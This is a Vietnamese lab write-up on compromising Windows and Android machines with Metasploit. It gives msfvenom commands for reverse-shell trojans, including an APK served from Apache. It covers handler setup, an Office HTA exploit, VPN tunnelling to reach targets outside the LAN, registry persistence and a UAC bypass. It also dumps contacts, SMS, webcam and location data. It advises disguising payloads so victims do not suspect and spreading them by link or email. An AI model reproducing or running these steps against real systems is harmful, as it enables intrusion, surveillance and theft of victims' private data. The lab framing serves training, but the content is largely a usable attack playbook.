{%hackmd @themes/orangeheart %} # 1. Xâm nhập hệ thống và leo thang đặc quyền, crack password, dump memory, sniff winlogon, stop antivisrus ## ### Exploit máy tính thuộc cùng địa chỉ mạng (máy victim chung một mạng LAN với máy attacker) -- Kali Linux: 172.16.1.107 -- Windows 10: 172.16.1.102 - Tạo mã độc: > msfvenom -a x86 --platform windows -f exe -p windows/meterpreter/reverse_tcp lhost=[ip] lport=[cổng] -o [tên_file].exe "với các tham số –platform nền tảng windows, -a hạ tầng áp dụng là 32 bit hay 64 bit, -f định dạng file xuất ra là exe, -p dùng loại payload nào, lhost là địa chỉ IP của máy mình, lport là cổng mở trên máy mình, -o là vị trí lưu kèm đặt tên file xuất ra. Ngoài ra còn có các tham số như -e lựa chọn kiểu mã hoá, -i là số lần mã hoá payload, -s là kích thước file xuất ra (nặng nặng xíu cho victim khỏi nghi ngờ, vì bình thường file payload xuất ra chỉ cỡ vài chục hay vài trăm kB). Để biết chi tiết hơn các option, gõ msfvenom -h" -- Chúng ta có thể đóng gói mã độc cùng với một file đáng tin cậy để đánh lừa victim (...) - Sử dụng farmwork Metasploit để tạo một kết nối để lắng nghe thông tin -- Khởi động metasploit >msfconsole -- Sử dụng module handler cho việc thiết lặp kết nối >use exploit/multi/handler -- Lựa chọn các thức truyền gói tin giữa máy nạn nhân và Hacker, ở đây tôi dùng tcp >set payload windows/meterpreter/reverse_tcp -- Set lhost [ip], set lport [cổng] cho khớp với các tham số khi tạo trojan ban nãy ![image](https://hackmd.io/_uploads/HJ_6i3_BT.png) -- Gõ exploit để hóng kết nối về. Khi nạn nhân kích hoạt file payload của bạn và ko gặp trở ngại gì trên đường truyền, bạn sẽ nhận được thông báo “meterpreter session 1 opened”. Đôi khi bạn phải gõ thêm sessions -i [mã_phiên] để phiên làm việc meterpreter mở ra (lưu ý tuỳ vào mã số session trên thông báo mà nhập số đó cho option -i cho đúng) ### Exploit lỗ hổng HTA trong Microsoft Office thông qua một file văn bản độc hại (máy victim chung một mạng LAN với máy attacker) -- Kali Linux: 192.168.233.134. -- Windows server 2019: 192.168.233.135. -- Đầu tiên tôi sử dụng Metasploit để tìm kiếm các lỗ hổng có liên quan đến Word và tạo payload. ![image](https://hackmd.io/_uploads/S1Jy_E5BT.png) -- Tiếp theo tôi sử dụng module trong các đường dẫn được liệt kê. ![image](https://hackmd.io/_uploads/rkqL_NcBa.png) -- Tiếp theo tôi sử dụng options để xem các thông số như lhost, lport đã đúng với máy của tôi hay chưa, nếu đúng thì giữ nguyên. ![image](https://hackmd.io/_uploads/BkU6dEcrp.png) -- Tiếp theo chúng ta sẽ exploit và sau đó chờ nạn nhân sử dụng file văn bản độc hại mà chúng ta đã tạo trước đó. ![image](https://hackmd.io/_uploads/Bye7YV5r6.png) -- Lúc này bên máy nạn nhân chúng ta sẽ mở file văn bản đó lên. ![image](https://hackmd.io/_uploads/ryA8FEcra.png) -- Sau đó tôi sử dụng lệnh **sessions** để kiểm tra kết nối được trả về và truy cập vào nó. ![image](https://hackmd.io/_uploads/ryhE54qB6.png) -- Bây giờ chúng ta đã xâm nhập vào hệ thống thành công, chỉ việc leak các thông tin cần thiết ra để chuẩn bị cho những cuộc tấn công tiếp theo mà thôi. ![image](https://hackmd.io/_uploads/By4tcNqHp.png) ### Exploit CVE 2021-1675 ### Exploit máy tính khác địa chỉ mạng (tấn công ngoài mạng) - Sử dụng dịch vụ VPN (Virtual Private Network – mạng riêng ảo) ko giới hạn thời gian, chỉ giới hạn một quy tắc kết nối. VPN cho phép bạn thiết lập một kết nối riêng tư (gọi là tunnel – đường hầm) với máy chủ VPN mà ko cần bận tâm ở giữa là gì. Giới thiệu với các bạn trang portmap.io. -- Các bước tham khảo(...Nguồn Internet...) Các bạn làm theo các bước như sau: Sau khi đăng ký tài khoản, bạn vào Configurations (1) rồi chọn Create new (2). ![screenshot11](https://hackmd.io/_uploads/rkhz-6dBT.jpg) Đặt tên (3), chọn phuơng thức kết nối (4) bằng OpenVPN hay bằng SSH, giao thức (5) (nên chọn UDP), sau đó nhấn vào Generate (6), nút Generate sẽ mất đi và thay bằng Download (7), nhớ download về trước khi đồng ý Create (8). Câu lệnh trong khung vuông bên phải chính là lệnh để nạp file cấu hình vừa tải về cho OpenVPN, lát nữa chúng ta sẽ dùng. ![screenshot21](https://hackmd.io/_uploads/ryfE-TdST.jpg) Sau khi tạo xong Configuration thì chuyển qua thiết lập quy tắc kết nối Mapping Rules (9) rồi chọn Create new (10). ![screenshot31](https://hackmd.io/_uploads/S1UHbTdST.jpg) Tại đây, bạn chọn giao thức (11) là TCP (chỗ này nên chọn TCP), chọn cổng trên máy của bạn mà máy chủ VPN sẽ giao tiếp tới (12), rồi Create (13) là xong. ![screenshot41](https://hackmd.io/_uploads/S19ubTdSa.jpg) Cấu hình xong bạn sẽ có được kết quả như thế này. Hãy ghi lại thông tin mà mình đóng khung. Trong đó “TVH95-57592.portmap.io” là tên miền của máy chủ VPN, “57592” là port mà máy chủ hứng kết nối. Đây là 2 thông tin quan trọng mà chúng ta sẽ sử dụng để tạo file payload. ![rkfIZa_Sp](https://hackmd.io/_uploads/Bk4FZ6dSa.jpg) -- Bây giờ chúng ta bắt đầu thực hiện tấn công: Đầu tiên, chạy OpenVPN với file cấu hình vừa tải về để thực hiện kết nối với máy chủ VPN. > sudo openvpn --config xxx.ovpn - Tạo mã độc tương tự như cùng mạng LAN nhưng ở đây cần chú ý lhost và lport ![image](https://hackmd.io/_uploads/Sk2GBaOr6.png) - Các bước vẫn tương tự như trên nhưng cần lưu ý sau khi lựa chọn các thức truyền gói tin set payload chúng ta set lhost theo ip mà máy chủ VPN cung cấp, lport ứng với port ta tạo mã ![image](https://hackmd.io/_uploads/B1c78adHa.png) # 2. Thiết lập persistence để cài vĩnh viễn và tự động kích hoạt trên máy victim -- Nếu để bình thường, bạn chỉ thâm nhập vào máy nạn nhân khi nạn nhân mở file trojan đó và mất kết nối khi bạn thoát khỏi phiên làm việc meterpreter hoặc nạn nhân tắt máy. Dù bạn có gõ lại lệnh exploit lần nữa hoặc nạn nhân khởi động lại máy, thì bạn ko thể điều khiển lại máy nạn nhân được nữa, trừ phi file mã độc kia được nạn nhân ngu ngơ mở lại lần nữa. Vì thế để payload liên tục gửi tín hiệu và attacker hứng kết nối lúc nào cũng đc, bạn cần chạy persistance. Sau khi thâm nhập thành công và hiện dấu nhắc “meterpreter >”, hãy gõ lệnh sau: >run persistence -S -i 60 -p [cổng] -r [ip] -- Khi đó payload sẽ tạo ra file .vbs mặc định được lưu vào trong đường dẫn C:\Users\tên_người_dùng\AppData\Local\Temp và chèn thuộc tính autorun vào registry HKCU(hay HKLM)\Software\Microsoft\Windows\CurrentVersion\Run\ . Các tham số như: -i (cách bao nhiêu giây thì phát tín hiệu một lần), -A (tự động kết nối với use multi/handler), -L đường_dẫn (nơi lưu file vbs, nếu ko muốn lưu theo đường dẫn mặc định kia), -P (loại payload được dùng, mặc định là windows/meterpreter/reverse_tcp), -S (tự động chạy khi máy khởi động và chạy như một service), -U (tự động chạy với tài khoản người dùng), -X (tự động chạy với mọi tài khoản), -h (mở help xem hướng dẫn). >https://github.com/elliSzAt/persistance.git -- Download file này để tích hợp vào **persistance** và thử lại nếu cách trên sử dụng không được # 3. Leo thang đặc quyền và khai thác thông tin trên máy victim - Sau khi tùy chỉnh thông số chúng tôi sẽ khởi động để lắng nghe các kết nối gửi về từ malware > exploit - ![image](https://hackmd.io/_uploads/Hk4kNttr6.png) - Chúng ta sẽ chờ cho đến khi có nạn nhân truy cập vào link có malware - ![image](https://hackmd.io/_uploads/S1OKXFKr6.png) - Khi máy nạn nhân chạy file thì chúng tôi sẽ bắt được kết nối gửi về máy attacker - ![image](https://hackmd.io/_uploads/S1cP7YFr6.png) - Tiếp đó chúng tôi sẽ xem các thông tin về máy nạn nhân > sysinfo - ![image](https://hackmd.io/_uploads/rkXpVtYHp.png) - Chúng tôi sẽ get uid để biết ta đang có phiên với user nào > getuid - ![image](https://hackmd.io/_uploads/BJPXHFtST.png) - Den day toi co the screenshot duoc may cua nan nhan - ![image](https://hackmd.io/_uploads/rkgrX5tHa.png) - ![image](https://hackmd.io/_uploads/HyW_X5KBa.png) - Chúng tôi có thể send file từ máy attacker đến máy nạn nhân và run file qua > shell - ![image](https://hackmd.io/_uploads/ByrFt9KH6.png) - ![image](https://hackmd.io/_uploads/r1M0F9trp.png) - Bây giờ tôi sẽ tiến hành leo lên quyền cao hơn, bước đầu tiên là chúng tôi sử dụng lệnh sau để chạy phiên dưới nền, mục đích là thoát khỏi phiên để dùng các module khác - ![image](https://hackmd.io/_uploads/Syk0iFKB6.png) - Tôi tìm kiếm thông tin liên quan đến User Account Control là một tính năng bảo mật của Windows giúp ngăn chặn các thay đổi trái phép đối với hệ điều hành. Vì là một tính năng bảo mật nên nó có quyền cao nhất trên hệ điều hành windows, đây chính là mục tiêu khai khác của chúng tôi > search uac - ![image](https://hackmd.io/_uploads/SkBK2KKS6.png) - Ở đây chúng quan tâm đến lỗ hổng số 12 để leo thang đặc quyền - Đó là một một nhiệm vụ trong Windows Task Scheduler được gọi là "SilentCleanup", trong khi nó được thực thi với tư cách Người dùng, sẽ tự động chạy với các đặc quyền nâng cao. - ![image](https://hackmd.io/_uploads/SJc42FtHp.png) - Để có thể leo thang đặc quyền thì ta cần một phiên đã mở ở phần backdoor > use exploit/windows/local/bypassuac_silentcleanup - Giờ đến phần cách thức truyền gói tin về C&C, ở đây tôi chọn giao thức khác với giao thức truyền gói của malware(``tcp``) là ``https`` > set payload windows/x64/meterpreter/reverse_https - ![image](https://hackmd.io/_uploads/r1A5ocKra.png) - ![image](https://hackmd.io/_uploads/rkBPT9tBp.png) - Chúng tôi run ``sesion 2`` và lấy được quyền admin > set session 2 > run > getsystem -h - ![image](https://hackmd.io/_uploads/SJc2-stHT.png) - ![image](https://hackmd.io/_uploads/SkYO-sFH6.png) # 4. Sử dụng AutoScript để exploit -- Do trong quá trình thực hiện exploit khá lâu và cả quá trình thực hiện duy trì kết nối cũng vậy, có thể người dùng chỉ bật ứng dụng trong 1 khoảng thời gian ngắn, nếu ta không kịp thực hiện duy trì kết nối thì cũng chẳng có ích gì. Do đó tôi muốn các quá trình trên đều được tự động để không gây mất thời gian. -- Đầu tiền tôi tạo 2 file là **exploit.txt** và **command.rc** với script như sau: ![image](https://hackmd.io/_uploads/ry0eXVoBT.png) ![image](https://hackmd.io/_uploads/r1JQXNoH6.png) -- Sau khi tạo xong 2 file trên thì tôi chỉ việc tiến hành exploit với câu lệnh. > sudo msfconsole -r exploit.txt ![image](https://hackmd.io/_uploads/HJ6qmEsBT.png) -- Sau khi câu lệnh được thực thi thì ta đã exploit được hệ thống đồng thời cũng duy trì được kết nối mà tiết kiệm được rất nhiều thời gian. # 5. Tấn công khai thác thông tin thiết bị Android ## Kịch bản Lab > Bài Lab này nói về sau khi hacker tấn công gain access, lấy được quyền thực thi trên máy Android giả lập, cho phép hacker có quyền truy cập vào nó thông qua kết nối máy tính từ xa. Attacker có khả năng thu thập tin nhắn văn bản, danh sách liên lạc, vị trí và thậm chí bật webcam của mục tiêu! ### Kịch bản tấn công ##### Step 1: Attacker tạo mã độc với C&C là máy hacker ##### Step 2: Attacker tạo một phiên để lắng nghe kết nối từ máy nạn nhân bị nhiễm mã độc ##### Step 3: Attacker phát tán mã độc qua một đường link hoặc qua email, lừa nạn nhân cài đặt ##### Step 4: Attacker bắt được phiên của một máy nạn nhân nào đó ##### Step 5: Attacker tiến hành các kiểu tấn công khác để lấy những thông tin của nạn nhân ### Môi trường của Lab Kali linux Máy Android Giả lập [LDPlayer](https://www.ldplayer.net) ### Tìm kiếm cách thức tấn công -- Đầu tiên chúng tôi sẽ vào ``root@kali`` và bật công cụ ``Metasploit framework`` -- Sử dụng lệnh để tìm các phương pháp tấn công đến máy nạn nhân > msf6 > search type:exploit platform:android ![image](https://hackmd.io/_uploads/SylK8djHp.png) -- Như bạn có thể thấy, có ít nhất 11 lần khai thác cho các hệ điều hành Android trong Metasploit. -- Chúng tôi sẽ tìm cách thức truyền gói tin > msf6 > search type:payload platform:android ![image](https://hackmd.io/_uploads/rJcT8diS6.png) -- Lựa chọn các thức truyền gói tin giữa máy nạn nhân và Attacker, ở đây chúng tôi dùng tcp ![image](https://hackmd.io/_uploads/BkqvQqsBa.png) ### Xây dựng tệp APK -- Chúng tối sử dụng msfvenom tạo malware > msf6 > msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.58.131 LPORT=4953 R > Go88.apk ![image](https://hackmd.io/_uploads/B17R_dsB6.png) -- Tiếp đó chúng tôi sẽ tạo một thư mục Go88.com và copy file mã độc vào đó để lây nhiễm cho máy nạn nhân. ![image](https://hackmd.io/_uploads/ByKqlcorp.png) -- Sau đó tôi cấp quyền cho thư mục để nạn nhân có thể truy cập và tải file mã độc -- Trách các lỗi về phân quyền xảy ra tôi sẽ chuyển sở hữu thư mục cho user và group www-data ![image](https://hackmd.io/_uploads/HJZ-29sra.png) -- Khởi Động apache2 > sudo systemctl start apache2 ### Tạo kết nối và tấn công -- Bây giờ ta sẽ tạo một kết nối để lắng nghe thông tin từ mã độc trên máy nạn nhân gửi về bằng cách khởi động metasploit > msfconsole -- Chúng tôi sử dụng module handler cho việc thiết lặp kết nối > use exploit/multi/handler -- Nhập ``options`` để xem các tùy chọn ![image](https://hackmd.io/_uploads/ryw1N9sB6.png) -- Lựa chọn các thức truyền gói tin giữa máy nạn nhân và Attacker, ở đây chúng tôi dùng tcp > msf6 > set PAYLOAD android/meterpreter/reverse_tcp ![image](https://hackmd.io/_uploads/H15f4qsST.png) -- Sau đó chúng tôi thiêt lập các thông số sau > set lhost 192.168.58.131 > set lport 4953 trong đó ``lhost, lport`` lần lượt là ip và cổng máy attacker ![image](https://hackmd.io/_uploads/BkiJS9oHp.png) ### Khởi động kêt nối -- Sau khi tùy chỉnh thông số chúng tôi sẽ khởi động để lắng nghe các kết nối gửi về từ malware > exploit ![image](https://hackmd.io/_uploads/H1yPIciST.png) -- Mở phiên để lắng nghe các kết nối từ malware -- Bây giờ ta sẽ chờ đến khi có nạn nhân ![image](https://hackmd.io/_uploads/BJSsI5iST.png) -- Có nạn nhân chạy thì chúng tôi sẽ bắt được kết nối gửi về ![image](https://hackmd.io/_uploads/HkIaUcjBa.png) ![image](https://hackmd.io/_uploads/ry2ZD9jrp.png) ### Khai thác thông tin nạn nhân -- Chúng tôi kiểm tra thông tin về máy nạn nhân và local time ![image](https://hackmd.io/_uploads/r15nYcoBa.png) -- Chúng tôi sẽ lấy danh sách liên lạc của họ > dump_contacts ![image](https://hackmd.io/_uploads/S1fN_9jr6.png) ![image](https://hackmd.io/_uploads/Hy4Pu9jr6.png) -- Và chúng tôi có thể sử dụng ``help`` để leak ra những command để khai thác thông tin từ máy nạn nhân ```t= meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unic Disables encoding of unicode strings ode_encoding enable_unico Enables encoding of unicode strings de_encoding exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lmkdir Create new directory on local machine lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getuid Get the user that the server is running as localtime Displays the target system local date and time pgrep Filter processes by name ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_strea Play a video stream from the specified webcam m Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Android Commands ================ Command Description ------- ----------- activity_sta Start an Android activity from a Uri string rt check_root Check if device is rooted dump_calllog Get call log dump_contact Get contacts list s dump_sms Get sms messages geolocate Get current lat-long using geolocation hide_app_ico Hide the app icon from the launcher n interval_col Manage interval collection capabilities lect send_sms Sends SMS from target session set_audio_mo Set Ringer Mode de sqlite_query Query a SQLite database from storage wakelock Enable/Disable Wakelock wlan_geoloca Get current lat-long using WLAN information te Application Controller Commands =============================== Command Description ------- ----------- app_install Request to install apk file app_list List installed apps in the device app_run Start Main Activty for package name app_uninstal Request to uninstall application l ``` -- ``Cảm ơn các bạn đã theo dõi`` Thank you & see you again